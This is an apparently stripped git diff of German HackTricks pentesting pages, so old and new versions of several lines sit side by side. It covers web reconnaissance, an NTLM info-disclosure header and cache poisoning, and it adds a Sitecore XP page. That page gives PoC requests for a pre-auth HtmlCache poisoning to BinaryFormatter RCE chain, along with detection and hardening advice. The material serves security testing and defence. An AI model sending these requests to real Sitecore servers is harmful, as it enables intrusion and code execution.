- **Discover new parameters**: Du kannst Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn möglich, solltest du nach versteckten Parametern in jeder ausführbaren Web-Datei suchen.**
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** Überprüfe die Comments aller Dateien — dort können **credentials** oder **versteckte Funktionalitäten** zu finden sein.
- Wenn du **CTF** spielst, ist ein häufiger Trick, **Informationen** in Comments am **rechten Rand** der **Seite** zu **verstecken** (mittels **hunderten** von **Spaces**, sodass du die Daten nicht siehst, wenn du den Quellcode im Browser öffnest). Eine andere Möglichkeit ist, mehrere neue Zeilen zu verwenden und Informationen in einem Kommentar am **Seitenende** zu verstecken.
- **API keys**: Wenn du einen API key findest, gibt es Projekte, die zeigen, wie man API keys verschiedener Plattformen nutzt: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Wenn du einen API key findest, der wie **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik aussieht, kannst du das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) nutzen, um zu prüfen, welche APIs der Key aufrufen darf.
- **S3 Buckets**: Während des spidering prüfe, ob eine **Subdomain** oder ein **Link** auf einen **S3 bucket** verweist. In diesem Fall [prüfe die Berechtigungen des Buckets](buckets/index.html).
- **Comments:** Prüfe die Kommentare aller Dateien — dort können **credentials** oder **versteckte Funktionen** zu finden sein.
- Wenn du an einem **CTF** teilnimmst, ist ein "übliches" Trick, Informationen in Kommentaren am **rechten Rand** der Seite zu **verstecken** (mit **hunderten** von **Spaces**, sodass du die Daten beim Öffnen des Quellcodes im Browser nicht siehst). Eine andere Möglichkeit ist, mehrere Newlines zu verwenden und Informationen in einem Kommentar am **Ende** der Seite zu verstecken.
- **API keys**: Wenn du einen API key findest, gibt es Guides, die zeigen, wie man API keys verschiedener Plattformen nutzt: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Wenn du einen API key findest, der wie **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik aussieht, kannst du das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) verwenden, um zu prüfen, auf welche APIs der Key zugreifen kann.
- **S3 Buckets**: Während des Spidering prüfe, ob eine Subdomain oder ein Link mit einem S3 bucket verbunden ist. In diesem Fall [**check** the **permissions** of the bucket](buckets/index.html).
### Special findings
**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
**Während** des **Spidering** und **brute-forcing** kannst du **interessante** **Dinge** entdecken, auf die du achten musst.
**Interessante Dateien**
Interessante Dateien
- Achte auf **Links** zu anderen Dateien innerhalb von **CSS** files.
- Suche nach **links** zu anderen Dateien innerhalb der **CSS**-Dateien.
- [If you find a _**.git**_ file some information can be extracted](git.md)
- Wenn du eine _**.env**_ findest, können Informationen wie api keys, DB-Passwörter und andere vertrauliche Daten darin stehen.
- Wenn du **API endpoints** findest, solltest du [diese auch testen](web-api-pentesting.md). Diese sind zwar keine Dateien, sehen aber oft so aus.
- **JS files**: In der Spidering-Sektion wurden bereits Tools erwähnt, die Pfade aus JS files extrahieren können. Es ist auch sinnvoll, jede gefundene JS-Datei zu **monitoren**, da eine Änderung anzeigen kann, dass eine potenzielle Verwundbarkeit in den Code eingeführt wurde. Du könntest z.B. [**JSMon**](https://github.com/robre/jsmon)** verwenden.**
- Prüfe gefundene JS files außerdem mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole), um bekannte Verwundbarkeiten zu finden.
- Wenn du eine _**.env**_ findest, können dort Informationen wie API keys, DB-Passwörter und andere sensible Daten enthalten sein.
- Wenn du **API endpoints** findest, [should also test them](web-api-pentesting.md). Dies sind keine Dateien, werden aber wahrscheinlich so aussehen.
- **JS files**: In der Spidering-Sektion wurden mehrere Tools erwähnt, die Pfade aus JS files extrahieren können. Es ist außerdem sinnvoll, **jede gefundene JS-Datei zu überwachen**, da eine Änderung darauf hinweisen kann, dass eine potenziell verwundbare Funktionalität in den Code eingeführt wurde. Du könntest z. B. [**JSMon**](https://github.com/robre/jsmon) verwenden.
- Du solltest entdeckte JS files außerdem mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) prüfen, um zu sehen, ob sie verwundbar sind.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript mit Zeichen:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- In vielen Fällen musst du die verwendeten regulären Ausdrücke verstehen. Das ist hilfreich: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex)
- Du könntest auch die Dateien überwachen, in denen Formulare erkannt wurden, da eine Änderung von Parametern oder das Auftauchen eines neuen Formulars auf eine potenziell neue verwundbare Funktionalität hinweisen kann.
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- In vielen Fällen musst du die verwendeten Regular Expressions verstehen. Das ist hilfreich: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex)
- Du könntest außerdem die Dateien überwachen, in denen Formulare erkannt wurden, da eine Änderung der Parameter oder das Auftauchen eines neuen Formulars auf eine potenziell neue verwundbare Funktionalität hinweisen kann.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -312,17 +313,17 @@ _Beachte, dass jedes Mal wenn während des brute-forcing oder der spidering ein
**502 Proxy Error**
Wenn eine Seite mit diesem Code antwortet, ist vermutlich ein schlecht konfigurierter proxy im Spiel. **Wenn du eine HTTP-Request wie `GET https://google.com HTTP/1.1` sendest** (mit Host-Header und anderen üblichen Headern), wird der proxy versuchen, auf _**google.com**_ zuzugreifen und du hast damit wahrscheinlich ein SSRF gefunden.
Wenn eine Seite mit diesem Code antwortet, ist wahrscheinlich ein schlecht konfigurierter Proxy die Ursache. **Wenn du eine HTTP-Anfrage wie:** `GET https://google.com HTTP/1.1` (mit dem Host-Header und anderen üblichen Headern) **sendest**, wird der **Proxy** versuchen, auf _**google.com**_ zuzugreifen — und du hättest damit eine SSRF gefunden.
**NTLM Authentication - Info disclosure**
Wenn der Server, der zur Authentifizierung auffordert, **Windows** ist oder du ein Login siehst, das nach deinen **credentials** (und nach einem **domain name**) fragt, kannst du eine **Information Disclosure** provozieren.\
**Sende** den **Header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` und aufgrund der Funktionsweise von **NTLM authentication** wird der Server interne Informationen (IIS-Version, Windows-Version...) im Header "WWW-Authenticate" zurückgeben.\
Wenn der Server, der die Authentifizierung anfordert, **Windows** ist oder du eine Login-Seite findest, die nach deinen **Zugangsdaten** (und dem **Domain**-Namen) fragt, kannst du eine **Informationsfreigabe** provozieren.\
Sende den Header: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` und aufgrund der Funktionsweise von **NTLM authentication** wird der Server interne Infos (IIS-Version, Windows-Version ...) im Header "WWW-Authenticate" zurückgeben.\
Du kannst das mit dem **nmap plugin** "_http-ntlm-info.nse_" automatisieren.
**HTTP Redirect (CTF)**
Es ist möglich, Content in einer **Redirection** unterzubringen. Dieser Content **wird dem Benutzer nicht angezeigt** (da der Browser die Weiterleitung ausführt), aber dort könnten Informationen **versteckt** sein.
Es ist möglich, **Content** innerhalb einer **Redirection** unterzubringen. Dieser Content wird dem Benutzer nicht angezeigt (da der Browser die Umleitung ausführt), aber etwas könnte dort **versteckt** sein.
### Web Vulnerabilities Checking
@ -341,7 +342,7 @@ Find more info about web vulns in:
### Monitor Pages for changes
Du kannst Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die verwundbare Änderungen einführen könnten.
Du kannst Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die möglicherweise Schwachstellen einführen.
### HackTricks Automatic Commands
```

194
src/network-services-pentesting/pentesting-web/sitecore/README.md Normal file
View File

@ -0,0 +1,194 @@
# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
{{#include ../../../banners/hacktricks-training.md}}
Diese Seite fasst eine praktische Angriffskette gegen Sitecore XP 10.4.1 zusammen, die von einem pre‑auth XAML handler zu HTML cache poisoning pivots und — über einen authenticated UI flow — zu RCE durch BinaryFormatter deserialization führt. Die Techniken verallgemeinern sich auf ähnliche Sitecore‑Versionen/-Komponenten und liefern konkrete Primitives zum Testen, Erkennen und Härten.
- Betroffenes Produkt (getestet): Sitecore XP 10.4.1 rev. 011628
- Behoben in: KB1003667, KB1003734 (Juni/Juli 2025)
Siehe auch:
{{#ref}}
../../../pentesting-web/cache-deception/README.md
{{#endref}}
{{#ref}}
../../../pentesting-web/deserialization/README.md
{{#endref}}
## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Der Einstiegspunkt ist der in web.config registrierte pre‑auth XAML handler:
```xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
```
Zugänglich über:
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
Der Control-Tree enthält AjaxScriptManager, der bei Event‑Anfragen vom Angreifer kontrollierte Felder ausliest und reflectiv Methoden auf Ziel-Controls aufruft:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
Wichtige Beobachtung: Die XAML-Seite enthält eine XmlControl-Instanz (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl erbt von Sitecore.Web.UI.WebControl (einer Sitecore-Klasse), die die ReflectionUtil.Filter allow‑list (Sitecore.*) passiert und dadurch Methoden auf Sitecore WebControl freischaltet.
Magische Methode für poisoning:
```csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
Da wir xmlcontrol:GlobalHeader anvisieren und Sitecore.Web.UI.WebControl-Methoden namentlich aufrufen können, erhalten wir eine pre-auth beliebige HtmlCache write-Primitive.
### PoC-Anfrage (CVE-2025-53693)
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Notes:
- __SOURCE ist die clientID von xmlcontrol:GlobalHeader innerhalb von Sitecore.Shell.Xaml.WebControl (häufig stabil wie ctl00_ctl00_ctl05_ctl03, da es aus statischem XAML abgeleitet wird).
- Das Format von __PARAMETERS ist Method("arg1","arg2").
## Was zu vergiften ist: Aufbau des Cache-Schlüssels
Typische Konstruktion des HtmlCache-Key, wie sie von Sitecore controls verwendet wird:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
```
Beispiel für gezielte poisoning für ein bekanntes Sublayout:
```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
## Auflisten cachefähiger Elemente und “vary by” Dimensionen
Wenn der ItemService anonym (fehl)exponiert ist, kannst du cachefähige Komponenten auflisten, um exakte keys abzuleiten.
Schnelle Probe:
```
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
```
Liste cachebarer Elemente und Flags:
```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
Suchen Sie nach Feldern wie Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Gerätenamen können über folgendes aufgelistet werden:
```
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
```
### Side‑channel enumeration under restricted identities (CVE-2025-53694)
Auch wenn ItemService sich als ein eingeschränktes Konto (z. B. ServicesAPI) ausgibt und ein leeres Results-Array zurückgibt, kann TotalCount weiterhin pre‑ACL Solr‑Treffer widerspiegeln. Du kannst item groups/ids mit wildcards brute-force und beobachten, wie TotalCount konvergiert, um interne Inhalte und Geräte zu kartieren:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
```
## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
```csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
Erreichbar über den convertToRuntimeHtml pipeline step ConvertWebControls, der nach einem Element mit der id {iframeId}_inner sucht und dieses base64 decodes + deserializes, anschließend den resultierenden String in das HTML injiziert:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
```
Auslösen (authentifiziert, Content Editor‑Rechte). Der FixHtml-Dialog ruft convertToRuntimeHtml auf. End-to-end ohne UI-Klicks:
```
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
{{#ref}}
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
{{#endref}}
## Komplette Kette
1) Pre‑auth‑Angreifer vergiften den HtmlCache mit beliebigem HTML, indem sie WebControl.AddToCache reflektiv über XAML AjaxScriptManager aufrufen.
2) Das vergiftete HTML liefert JavaScript aus, das einen authentifizierten Content Editor durch den FixHtml‑Flow schiebt.
3) Die FixHtml‑Seite löst convertToRuntimeHtml → ConvertWebControls aus, welches vom Angreifer kontrolliertes base64 via BinaryFormatter deserialisiert → RCE unter der Sitecore‑App‑Pool‑Identität.
## Erkennung
- Pre‑auth XAML: Anfragen an `/-/xaml/Sitecore.Shell.Xaml.WebControl` mit `__ISEVENT=1`, verdächtigem `__SOURCE` und `__PARAMETERS=AddToCache(...)`.
- ItemService‑Probing: Anstiege von `/sitecore/api/ssc` Wildcard‑Abfragen, großer `TotalCount` mit leeren `Results`.
- Deserialisierungsversuche: `EditHtml.aspx` gefolgt von `FixHtml.aspx?hdl=...` und ungewöhnlich große base64‑Werte in HTML‑Feldern.
## Härtung
- Wende Sitecore‑Patches KB1003667 und KB1003734 an; sperre/deaktiviere pre‑auth XAML‑Handler oder füge strikte Validierung hinzu; überwache und rate‑limitiere `/-/xaml/`.
- Entferne/ersetze BinaryFormatter; beschränke den Zugriff auf convertToRuntimeHtml oder erzwinge starke serverseitige Validierung der HTML‑Editing‑Flows.
- Sichere `/sitecore/api/ssc` auf Loopback oder authentifizierte Rollen; vermeide Impersonierungs‑Muster, die `TotalCount`‑basierte side‑channels leak.
- Erzwinge MFA und least privilege für Content Editor; prüfe CSP, um den Einfluss von JS steering durch cache poisoning zu reduzieren.
## References
- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
{{#include ../../../banners/hacktricks-training.md}}

217
src/pentesting-web/cache-deception/README.md
View File

@ -1,133 +1,134 @@
# Cache Poisoning und Cache Deception
# Cache Poisoning and Cache Deception
{{#include ../../banners/hacktricks-training.md}}
## Der Unterschied
> **Was ist der Unterschied zwischen Web-Cache-Poisoning und Web-Cache-Deception?**
> **Was ist der Unterschied zwischen web cache poisoning und web cache deception?**
>
> - Bei **Web-Cache-Poisoning** verursacht der Angreifer, dass die Anwendung schädliche Inhalte im Cache speichert, und diese Inhalte werden aus dem Cache an andere Benutzer der Anwendung ausgeliefert.
> - Bei **Web-Cache-Deception** verursacht der Angreifer, dass die Anwendung sensible Inhalte eines anderen Benutzers im Cache speichert, und der Angreifer ruft dann diese Inhalte aus dem Cache ab.
> - In **web cache poisoning** verursacht der Angreifer, dass die Anwendung schädlichen Inhalt im Cache speichert, und dieser Inhalt wird aus dem Cache an andere Anwender der Anwendung ausgeliefert.
> - In **web cache deception** bewirkt der Angreifer, dass die Anwendung sensiblen Inhalt eines anderen Benutzers im Cache speichert, und der Angreifer ruft diesen Inhalt anschließend aus dem Cache ab.
## Cache Poisoning
Cache Poisoning zielt darauf ab, den Client-seitigen Cache zu manipulieren, um Clients dazu zu bringen, Ressourcen zu laden, die unerwartet, teilweise oder unter der Kontrolle eines Angreifers stehen. Das Ausmaß der Auswirkungen hängt von der Popularität der betroffenen Seite ab, da die kontaminierte Antwort ausschließlich an Benutzer ausgeliefert wird, die die Seite während der Phase der Cache-Kontamination besuchen.
Cache poisoning zielt darauf ab, den clientseitigen Cache zu manipulieren, um Clients dazu zu bringen, Ressourcen zu laden, die unerwartet, unvollständig oder unter der Kontrolle eines Angreifers sind. Das Ausmaß der Auswirkungen hängt von der Beliebtheit der betroffenen Seite ab, da die vergiftete Antwort ausschließlich an Nutzer ausgeliefert wird, die die Seite während der Periode der Cache-Kontamination besuchen.
Die Durchführung eines Cache-Poisoning-Angriffs umfasst mehrere Schritte:
Die Durchführung eines cache poisoning-Angriffs umfasst mehrere Schritte:
1. **Identifizierung von Unkeyed Inputs**: Dies sind Parameter, die, obwohl sie nicht erforderlich sind, damit eine Anfrage im Cache gespeichert wird, die Antwort des Servers ändern können. Diese Eingaben zu identifizieren ist entscheidend, da sie ausgenutzt werden können, um den Cache zu manipulieren.
2. **Ausnutzung der Unkeyed Inputs**: Nachdem die unkeyed Inputs identifiziert wurden, besteht der nächste Schritt darin, herauszufinden, wie diese Parameter missbraucht werden können, um die Antwort des Servers in einer Weise zu ändern, die dem Angreifer zugutekommt.
3. **Sicherstellen, dass die vergiftete Antwort im Cache gespeichert wird**: Der letzte Schritt besteht darin, sicherzustellen, dass die manipulierte Antwort im Cache gespeichert wird. Auf diese Weise erhält jeder Benutzer, der die betroffene Seite besucht, während der Cache vergiftet ist, die kontaminierte Antwort.
1. **Identifizierung von nicht als Cache-Schlüssel verwendeten Eingaben**: Dies sind Parameter, die zwar nicht erforderlich sind, damit eine Anfrage gecacht wird, aber die vom Server zurückgegebene Antwort verändern können. Diese Eingaben zu identifizieren ist entscheidend, da sie ausgenutzt werden können, um den Cache zu manipulieren.
2. **Ausnutzung der nicht als Cache-Schlüssel verwendeten Eingaben**: Nachdem die nicht als Cache-Schlüssel verwendeten Eingaben identifiziert wurden, besteht der nächste Schritt darin herauszufinden, wie diese Parameter missbraucht werden können, um die Serverantwort so zu verändern, dass es dem Angreifer nützt.
3. **Sicherstellen, dass die vergiftete Antwort gecacht wird**: Der letzte Schritt besteht darin sicherzustellen, dass die manipulierte Antwort im Cache gespeichert wird. Auf diese Weise erhält jeder Nutzer, der die betroffene Seite besucht, während der Cache vergiftet ist, die vergiftete Antwort.
### Entdeckung: Überprüfen der HTTP-Header
### Erkennung: HTTP-Header prüfen
In der Regel gibt es, wenn eine Antwort **im Cache gespeichert wurde**, einen **Header, der dies anzeigt**. Sie können überprüfen, auf welche Header Sie in diesem Beitrag achten sollten: [**HTTP Cache-Header**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Normalerweise, wenn eine Antwort **im Cache gespeichert** wurde, gibt es einen **Header, der dies anzeigt**. Welche Header du beachten solltest, kannst du in diesem Beitrag prüfen: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Entdeckung: Caching-Fehlercodes
### Erkennung: Fehlercodes im Cache
Wenn Sie denken, dass die Antwort im Cache gespeichert wird, könnten Sie versuchen, **Anfragen mit einem fehlerhaften Header zu senden**, auf die mit einem **Statuscode 400** geantwortet werden sollte. Versuchen Sie dann, die Anfrage normal zuzugreifen, und wenn die **Antwort ein 400-Statuscode ist**, wissen Sie, dass es anfällig ist (und Sie könnten sogar einen DoS durchführen).
Wenn du vermutest, dass die Antwort im Cache gespeichert wird, kannst du versuchen, **Anfragen mit einem fehlerhaften Header zu senden**, auf die mit einem **Statuscode 400** geantwortet werden sollte. Versuche dann, die Anfrage normal aufzurufen, und wenn die **Antwort ein 400er-Statuscode** ist, weißt du, dass es verwundbar ist (und du könntest sogar einen DoS durchführen).
You can find more options in:
Sie finden weitere Optionen in:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
Beachten Sie jedoch, dass **manchmal diese Arten von Statuscodes nicht im Cache gespeichert werden**, sodass dieser Test möglicherweise nicht zuverlässig ist.
Beachte jedoch, dass **manche dieser Statuscodes nicht gecacht werden**, sodass dieser Test möglicherweise nicht zuverlässig ist.
### Entdeckung: Identifizieren und Bewerten von Unkeyed Inputs
### Erkennung: Nicht als Cache-Schlüssel verwendete Eingaben identifizieren und bewerten
Sie könnten [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) verwenden, um **Parameter und Header zu brute-forcen**, die möglicherweise **die Antwort der Seite ändern**. Zum Beispiel könnte eine Seite den Header `X-Forwarded-For` verwenden, um dem Client anzuzeigen, dass das Skript von dort geladen werden soll:
Du kannst [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) verwenden, um **brute-force parameters and headers** durchzuführen, die möglicherweise **die Antwort der Seite verändern**. Zum Beispiel könnte eine Seite den Header `X-Forwarded-For` verwenden, um dem Client anzuzeigen, das Script von dort zu laden:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Elicit a harmful response from the back-end server
### Schädliche Antwort vom Back-End-Server auslösen
Mit dem identifizierten Parameter/Kopfzeile überprüfen, wie er **bereinigt** wird und **wo** er **reflektiert** wird oder die Antwort aus der Kopfzeile beeinflusst. Kannst du es irgendwie missbrauchen (eine XSS durchführen oder einen von dir kontrollierten JS-Code laden? einen DoS durchführen?...)
Mit dem identifizierten Parameter/Header prüfe, wie er **bereinigt** wird und **wo** er **reflektiert wird** oder die Antwort über den Header beeinflusst. Kannst du ihn trotzdem ausnutzen (XSS ausführen oder JS-Code laden, den du kontrollierst? DoS durchführen?...)
### Get the response cached
### Die Antwort cachen
Sobald du die **Seite** identifiziert hast, die missbraucht werden kann, welchen **Parameter**/**Kopfzeile** du verwenden und **wie** du ihn **missbrauchen** kannst, musst du die Seite im Cache speichern. Je nach Ressource, die du im Cache speichern möchtest, kann dies einige Zeit in Anspruch nehmen, du musst möglicherweise mehrere Sekunden lang versuchen.
Sobald du die **Seite** **identifiziert** hast, die missbraucht werden kann, welchen **Parameter**/**Header** zu verwenden ist und **wie** du ihn **ausnutzen** kannst, musst du die Seite im Cache ablegen. Je nach Ressource, die du in den Cache bringen willst, kann das einige Zeit dauern; du musst eventuell mehrere Sekunden lang versuchen.
Die Kopfzeile **`X-Cache`** in der Antwort könnte sehr nützlich sein, da sie den Wert **`miss`** haben kann, wenn die Anfrage nicht im Cache gespeichert wurde, und den Wert **`hit`**, wenn sie im Cache gespeichert ist.\
Die Kopfzeile **`Cache-Control`** ist ebenfalls interessant, um zu wissen, ob eine Ressource im Cache gespeichert wird und wann die Ressource das nächste Mal wieder im Cache gespeichert wird: `Cache-Control: public, max-age=1800`
Der Header **`X-Cache`** in der Response kann sehr nützlich sein, da er den Wert **`miss`** haben kann, wenn die Anfrage nicht gecached wurde, und den Wert **`hit`** wenn sie gecached ist.\
Der Header **`Cache-Control`** ist ebenfalls interessant, um zu wissen, ob eine Ressource gecached wird und wann sie das nächste Mal neu gecached wird: `Cache-Control: public, max-age=1800`
Eine weitere interessante Kopfzeile ist **`Vary`**. Diese Kopfzeile wird häufig verwendet, um **zusätzliche Kopfzeilen** anzuzeigen, die als **Teil des Cache-Schlüssels** behandelt werden, auch wenn sie normalerweise nicht als Schlüssel verwendet werden. Daher kann der Benutzer, wenn er den `User-Agent` des Opfers kennt, das er anvisiert, den Cache für die Benutzer mit diesem spezifischen `User-Agent` vergiften.
Ein weiterer interessanter Header ist **`Vary`**. Dieser Header wird oft verwendet, um **zusätzliche Header anzugeben**, die als **Teil des Cache-Schlüssels** behandelt werden, selbst wenn sie normalerweise nicht als Schlüssel verwendet werden. Daher kann, wenn der Angreifer den `User-Agent` des Opfers kennt, er den Cache für Nutzer vergiften, die genau diesen `User-Agent` verwenden.
Eine weitere Kopfzeile, die mit dem Cache zusammenhängt, ist **`Age`**. Sie definiert die Zeit in Sekunden, die das Objekt im Proxy-Cache war.
Ein weiterer mit dem Cache verwandter Header ist **`Age`**. Er gibt die Zeit in Sekunden an, die das Objekt im Proxy-Cache war.
